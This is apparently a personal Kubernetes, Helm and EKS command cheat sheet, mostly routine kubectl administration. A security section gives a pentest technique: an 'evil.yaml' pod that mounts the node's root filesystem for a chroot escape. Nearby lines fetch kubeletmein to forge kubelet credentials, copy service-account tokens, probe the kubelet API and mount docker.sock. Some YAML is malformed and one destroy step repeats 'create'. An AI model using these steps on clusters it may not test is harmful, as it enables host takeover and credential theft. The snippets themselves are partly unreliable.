List all applications and services

kubectl get all

Resource: https://coreos.com/tectonic/docs/latest/tutorials/sandbox/deleting-deployment.html#:~:text=Go%20to%20Workloads%20%3E%20Deployments.,Go%20to%20Routing%20%3E%20Services.

List all pods

kubectl get pods

List all containers in all pods

kubectl get pods -o='custom-columns=NameSpace:.metadata.namespace,NAME:.metadata.name,CONTAINERS:.spec.containers[*].name'

List all containers in a pod

kubectl get pods $POD_NAME -o='custom-columns=NameSpace:.metadata.namespace,NAME:.metadata.name,CONTAINERS:.spec.containers[*].name'

Resource: https://serverfault.com/questions/873490/how-to-list-all-containers-in-kubernetes

List pods in a namespace

kubectl get pods -n <namespace>

Get all pods running in all namespaces

kubectl get pods --all-namespaces

Get all container images

kubectl get pods --all-namespaces -o=jsonpath="{..image}

Get all container images filtered by pod label

kubectl get pods --all-namespaces -o=jsonpath="{..image}" -l app=<name>

For example, for a label with the app name ’nginx’ created with this tutorial:

kubectl get pods --all-namespaces -o=jsonpath="{..image}" -l app=nginx

Resource: https://kubernetes.io/docs/tasks/access-application-cluster/list-all-running-container-images/#list-container-images-filtering-by-pod-label

Get Pod IP Address

kubectl get pods -l app=<app name> -o yaml |grep podIP

Delete a pod

kubectl delete pod <pod name>

Resource: https://www.fairwinds.com/blog/how-to-create-view-and-destroy-a-pod-in-kubernetes

List all nodes

kubectl get nodes

Get more information about a node

This will have things like the pods that are running on a node.

kubectl describe nodes <node name>

Get all services in every namespace

k get svc --all-namespaces -o wide 

Get information about all deployments

kubectl describe deployments

Get information about a deployment

kubectl describe deployment nginx-deployment

Get shell to first container in a pod

kubectl exec -it $pod_name -- bash

Get shell to specific container in a pod

kubectl exec -it $pod_name --container $container_name -- sh


Get a list of secrets

kubectl get secrets

Describe a secret

kubectl describe secret $SECRET_NAME

View a secret

kubectl get secret $SECRET_NAME -o json | jq .

You can also opt to output as yaml as well:

kubectl get secret $SECRET_NAME -o yaml

If a secret is a json blob with multiple key/value pairs (like a kubernetes.io/service-account-token type for example), you can get the associated value from one of the keys like so:

kubectl get secret $SECRET_NAME -o jsonpath='{.data.keyname}' | base64 -d

Resource: https://kubernetes.io/docs/concepts/configuration/secret/

List all services

kubectl get services

Get names of services

kubectl get services --sort-by=.metadata.name

Resource: https://kubernetes.io/docs/reference/kubectl/cheatsheet/

Get more information about a pod

kubectl describe pod $POD_NAME

Alternatively, you can use:

kubectl describe pods/$POD_NAME

Resources: https://stackoverflow.com/questions/34848422/how-to-debug-imagepullbackoff https://github.com/cloudnativelabs/kube-router/issues/711

Delete an application

Find the deployment and service beforehand:

kubectl delete deployment.apps/<name> service/<name>

For example, for a service and deployment called 'app':

kubectl delete deployment.apps/app service/app

Resource: https://coreos.com/tectonic/docs/latest/tutorials/sandbox/deleting-deployment.html#:~:text=Go%20to%20Workloads%20%3E%20Deployments.,Go%20to%20Routing%20%3E%20Services.

Alternatively, you could just run this in the directory with all of the files:

kubectl delete -k ./

Resource: https://kubernetes.io/docs/tutorials/stateful-application/mysql-wordpress-persistent-volume/

Get external IP addresses of all nodes

kubectl get nodes -o jsonpath='{.items[*].status.addresses[?(@.type=="ExternalIP")].address}'

Resource: https://kubernetes.io/docs/reference/kubectl/cheatsheet/

List all namespaces

kubectl get namespace

Create new namespace

kubectl create namespace $NAMESPACE_NAME

Resource: https://jhooq.com/helm-chart-wordpress-installation/

Delete namespace

kubectl delete namespace $NAMESPACE_NAME

Show Persistent Volumes

kubctl get pvc

Delete Persistent Volume

kubectl delete pvc $PVC_NAME


This will sort the output for you as well based on when something was created:

kubectl get events --all-namespaces  --sort-by='.metadata.creationTimestamp'

Alternatively, you can just run:

kubectl get events

Resources: https://serverfault.com/questions/728727/kubernetes-stuck-on-containercreating https://stackoverflow.com/questions/36377784/pod-in-kubernetes-always-in-pending-state

Copy file from pod to system

kubectl cp $POD_NAME:/run/secrets/kubernetes.io/serviceaccount .

Resource: https://stackoverflow.com/questions/52407277/how-to-copy-files-from-kubernetes-pods-to-local-system/52408599

Copy file from system to pod

kubectl cp file $POD_NAME:/tmp

Resource: https://medium.com/@nnilesh7756/copy-directories-and-files-to-and-from-kubernetes-container-pod-19612fa74660

Get all clusters

kubectl config view -o jsonpath='{"Cluster name\tServer\n"}{range .clusters[*]}{.name}{"\t"}{.cluster.server}{"\n"}{end}'

Resource: https://kubernetes.io/docs/tasks/administer-cluster/access-cluster-api/

List all service accounts

kubectl get serviceaccounts

List all clusterroles

kubectl get clusterrole

Get yaml file from running pod

kubectl get po $POD_NAME -o yaml | tee file.yaml

Resource: https://stackoverflow.com/questions/43941772/get-yaml-for-deployed-kubernetes-services

Set namespace

This example sets the namespace to kube-system:

kubectl config set-context --current --namespace=kube-system

Resource: https://stackoverflow.com/questions/55373686/how-to-switch-namespace-in-kubernetes

Get Kubernetes Master

kubectl cluster-info

Resource: https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/kube-hunter/index.html

Get pod logs

kubectl logs $POD_NAME

Tail pod logs

k logs -f $POD_NAME

Resource: https://www.dnsstuff.com/how-to-tail-kubernetes-and-kubectl-logs

Check for insecure kubelet API access

From a pod

curl -k https://localhost:10250/pods


curl -k https://<target system running kub>:10250/pods

Resource: https://sysdig.com/blog/kubernetes-security-kubelet-etcd/

Kubernetes config file location

env |grep KUBECONFIG

View config

kubectl config view

Use config file

# run before setting the env var
kubectl config view
export KUBECONFIG=/path/to/config/file
# run view config again to see the changes
kubectl config view

You can also run it like this if you don’t want to export the environment variable for whatever weird reason you have:

KUBECONFIG=/path/to/config/file kubectl config view

Resource: https://ahmet.im/blog/mastering-kubeconfig/

Access K8s API from inside a Pod


Set these variables to start:

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)

Health Check

curl -s -H "Authorization: Bearer $TOKEN" --cacert $CACERT $K8S/healthz

Show pods

curl -s -H "Authorization: Bearer $TOKEN" \
--cacert $CACERT $K8S/api/v1/namespaces/$NAMESPACE/pods/

Resource: https://medium.com/@pczarkowski/the-kubernetes-api-call-is-coming-from-inside-the-cluster-f1a115bd2066

Get network policies

kubectl get networkpolicy

Get information about a particular policy

kubectl describe networkpolicy $NETWORK_POLICY_NAME

Resource: https://www.stackrox.com/post/2020/02/azure-kubernetes-aks-security-best-practices-part-2-of-4/

Default network access policies

If network policies are defined, the Kubernetes default policy is allow. Subsequently, you can talk to networked assets from within a container. To test this, exec into a container:

kubectl exec -it <container name> sh

Once inside, you can try things like querying the AWS metadata service (or another networked resource):

wget -O - -q

If this works, you can ascertain that an attacker that gains access to a running container gains unfettered network access.


Specify network access configurations that minimize ingress and egress access for each pod.

Resources: https://medium.com/@reuvenharrison/an-introduction-to-kubernetes-network-policies-for-security-people-ba92dd4c809d

Port forwarding

Service to localhost

This will forward the service running on 8443 to localhost:1234

kubectl port-forward service/<service name> 1234:8443 -n <namespace>

Pod to localhost

This will forward the service running on $pod-port to localhost:$pod-port

kubectl port-forward $POD_NAME $pod-port

Pod to the network

This will expose the service running on $pod-port in $POD_NAME to the system running the kubectl command on $localhost-port to other systems on the network:

kubectl port-forward --address <hostname or IP of system> $POD_NAME $localhost-port:$pod-port

Resource: https://stackoverflow.com/questions/51468491/how-kubectl-port-forward-works

Set cluster

kubectl config use-context <cluster>

Get list of everything a service account can do

kubectl auth can-i --list # -n namespace

Resource: https://lobuhisec.medium.com/kubernetes-pentest-recon-checklist-tools-and-resources-30d8e4b69463

Use local image

Add this line to your pod yaml file:

imagePullPolicy: Never

Resource: https://stackoverflow.com/questions/55392014/kubectl-get-pods-shows-errimagepull

Run docker in docker

This is a very bad thing to do from a security standpoint, but when you need it, this is how you do it:

apiVersion: v1
kind: Pod
  name: test-pd
  - image: dev
    imagePullPolicy: Never
    name: dev
    - name: docker-sock-volume
      mountPath: "/var/run/docker.sock"
  - name: docker-sock-volume
      # location on host
      path: /var/run/docker.sock

Resources: https://stackoverflow.com/questions/56462126/how-to-add-v-var-run-docker-sock-var-run-docker-sock-when-running-container https://devops.stackexchange.com/questions/2506/docker-in-kubernetes-deployment

Security Tools and Techniques

Gain access to node’s root filesystem

Create evil.yaml:

apiVersion: v1
kind: Pod
  name: evil
    app: ubuntu
  - name: evil
    image: ubuntu:latest
    command: ["/bin/sleep", "3650d"]
    imagePullPolicy: IfNotPresent
    - name: root-fs
      mountPath: /mnt
  restartPolicy: Always
  - name: root-fs
      path: /
      type: Directory

Create a pod and access it:

k create -f evil.yaml
k exec --stdin --tty -f evil.yaml -- /bin/bash

Get into the host filesystem:

chroot /mnt

Run Kubeletmein

From a pod on the target, run this command to get the binary:

wget -q -O kubeletmein https://github.com/4ARMED/kubeletmein/releases/download/v1.0.2/kubeletmein_1.0.2_linux_amd64 && chmod +x kubeletmein

Generate a kube config:

./kubeletmein generate

Make a nice alias to save on typing:

echo "alias k='kubectl --kubeconfig kubeconfig.yaml'" | tee -a ~/.bashrc
source ~/.bashrc

Run Kubehunter

Grab kube-hunter job yaml:

wget https://raw.githubusercontent.com/aquasecurity/kube-hunter/main/job.yaml

Start the job and grab the pod name:

k apply -f job.yaml
KHPOD=$(k describe job kube-hunter |grep 'Created pod:' | awk -F ' ' '{print $7}')

Monitor the findings - these will be passive:

k logs -f $KHPOD

Delete the job when you’re done:

k delete jobs kube-hunter

Run active scan

Modify job.yaml:

apiVersion: batch/v1
kind: Job
  name: kube-hunter
        - name: kube-hunter
          image: aquasec/kube-hunter
          command: ["kube-hunter"]
          args: ["--pod", "--active"]
      restartPolicy: Never
  backoffLimit: 4

Start the job and grab the pod name:

k apply -f job.yaml
KHPOD=$(k describe job kube-hunter |grep 'Created pod:' | awk -F ' ' '{print $7}')

Monitor the findings:

k logs -f $KHPOD

Delete the job when you’re done:

k delete jobs kube-hunter

Resources: https://kube-hunter.aquasec.com/ - lists all of the tests you can run https://github.com/aquasecurity/kube-hunter/issues/374 - run active scan as a pod https://stackoverflow.com/questions/43675231/kubernetes-delete-all-jobs-in-bulk - delete jobs

Run Kube-Bench

From a pod on the target, run this command to get the job.yaml file from the repo:

wget https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml

Start the job and grab the pod name:

k apply -f kube-bench.yaml
KBPOD=$(k describe job kube-bench |grep 'Created pod:' | awk -F ' ' '{print $7}')

Monitor the findings - these will be passive:

k logs -f $KBPOD

Run against an EKS deployment

Create an Amazon Elastic Container Registry (ECR) repository to host the kube-bench container image:

aws ecr create-repository --repository-name k8s/kube-bench --image-tag-mutability MUTABLE

Set ${AWS_REGION} if it’s not already set. Then download, build and push the kube-bench container image to your ECR repo:

git clone https://github.com/aquasecurity/kube-bench.git
cd kube-bench

aws ecr get-login-password --region ${AWS_REGION} | docker login --username AWS --password-stdin $ACCOUNT_ID.dkr.ecr.${AWS_REGION}.amazonaws.com

aws ecr get-login-password --region ${AWS_REGION} | docker login --username AWS --password-stdin ${AWS_ACCT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com

docker build -t k8s/kube-bench .
docker tag k8s/kube-bench:latest ${AWS_ACCT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/k8s/kube-bench:latest

docker push ${AWS_ACCT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/k8s/kube-bench:latest

Copy the URI of your pushed image; the URI format looks like this: ${AWS_ACCT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/k8s/kube-bench:latest

Replace the image value in job-eks.yaml with the URI you just copied.

Run the job on a pod in your cluster and monitor the findings:

kubectl apply -f job-eks.yaml
KBPOD=$(k describe job kube-bench |grep 'Created pod:' | awk -F ' ' '{print $7}')
k logs -f $KBPOD

Resources: https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/kube-bench/index.html - general run instructions https://github.com/aquasecurity/kube-bench/blob/main/docs/running.md - instructions to run against EKS specifically


You will need to export your AWS credentials as local environment variables:

export AWS_PROFILE=asdfasdf
export AWS_ACCESS_KEY_ID=asdfasdf
export AWS_SECRET_ACCESS_KEY=asdfdsf

Next clone the repo:

git clone git@github.com:darkbitio/mkit.git
cd mkit

Get cluster information:

aws eks list-clusters --region us-west-2 | jq

Run mkit for each cluster:

make run-eks awsregion=us-west-2 clustername=myawesomecluster

Navigate to http://localhost:8000/ to see results for each.

Resource: https://github.com/darkbitio/mkit#example-run-against-a-standalone-cluster


Debug template

helm template g <template name> -f ./values.yaml --debug

For example, if we deployed the bitnami/ghost template, we could use this command to debug it:

helm template g bitnami/ghost -f ./values.yaml --debug

Resource: https://www.reddit.com/r/kubernetes/comments/j3j3ox/ghost_helm_no_pod_showing_up/

Search for repository by name

This example will search for ghost repositories:

helm search hub ghost --max-col-width=0

Open the desired link to get the helm repo add command to use.

Show local repo list

helm repo list

Remove repo from local repo list

This example will remove the bitnami repo:

helm repo rm bitnami

Add repo to local repo list

This particular example will add the bitnami repo:

helm repo add bitnami https://charts.bitnami.com/bitnami

Search for versions of a chart in local repo

This will return a list of ghost charts:

helm search repo ghost --versions

Get latest version of a chart in local repo

helm search repo ghost --versions | sed -n 2p | awk '{print $2}'

List Releases in all namespaces

helm ls --all-namespaces
# Shorthand:
helm ls -a

Resources: https://github.com/helm/helm/issues/7527 https://jhooq.com/helm-chart-wordpress-installation/ - tutorial with some great helm examples https://helm.sh/docs/intro/using_helm/ - helm docs https://github.com/helm/hub/issues/208 - explanation of how to add a repo found with the search command

Install Plugin

This example will install the helm diff plugin:

helm plugin install https://github.com/databus23/helm-diff

Resources: https://jhooq.com/helm-chart-plugin/ - tutorial https://github.com/helm/helm/issues/3156 - initial suggestion

Uninstall Plugin

This example will uninstall the helm diff plugin:

helm plugin uninstall diff

Create values file

helm show values traefik/traefik > /tmp/traefik-chart.yaml

Resource: https://www.virtualizationhowto.com/2022/06/traefik-helm-install-and-configuration/


Get all clusters

aws eks list-clusters --region us-west-2 | jq

Resource: https://stackoverflow.com/questions/67836953/how-to-get-all-the-pod-details-using-cli-for-any-given-region

Get all node groups in a cluster

Pick one of the clusters from the previous command and plug it in for cluster_name.

aws eks list-nodegroups --region us-west-2 --cluster-name $cluster_name | jq

List all nodes in all clusters


CLUSTERS=($(aws eks list-clusters --region ${REGION} | jq -c '.[][]' | tr -d '"'))

for cluster in ${CLUSTERS[@]}; do
	echo "Nodes in ${cluster}:"
	aws eks list-nodegroups --region ${REGION} --cluster-name ${cluster} | jq -c '.[][]' | tr -d '"'

Auto configure kubeconfig

aws eks --region us-west-2 update-kubeconfig --name ${cluster}

Resource: https://www.bluematador.com/blog/my-first-kubernetes-cluster-a-review-of-amazon-eks


Kompose is a tool to convert a docker-compose file to Kubernetes manifests.

Create chart

kompose convert -c

Resource: https://kompose.io/


Kind is a tool for running local Kubernetes clusters using Docker container “nodes”.


brew install kind

Create cluster

kind create cluster --name testing-kind

Destroy cluster

kind delete cluster --name testing-kind

Resource: https://kind.sigs.k8s.io/

Deploy Kind + Rancher

gh repo clone ozbillwang/rancher-in-kind

cd rancher-in-kind

# Create deployment with 1 worker and rancher
bash rkind.sh create

# Destroy deployment
bash rkind.sh create

# Set admin pw
docker exec -it rancher-for-kind reset-password

Resource: https://github.com/ozbillwang/rancher-in-kind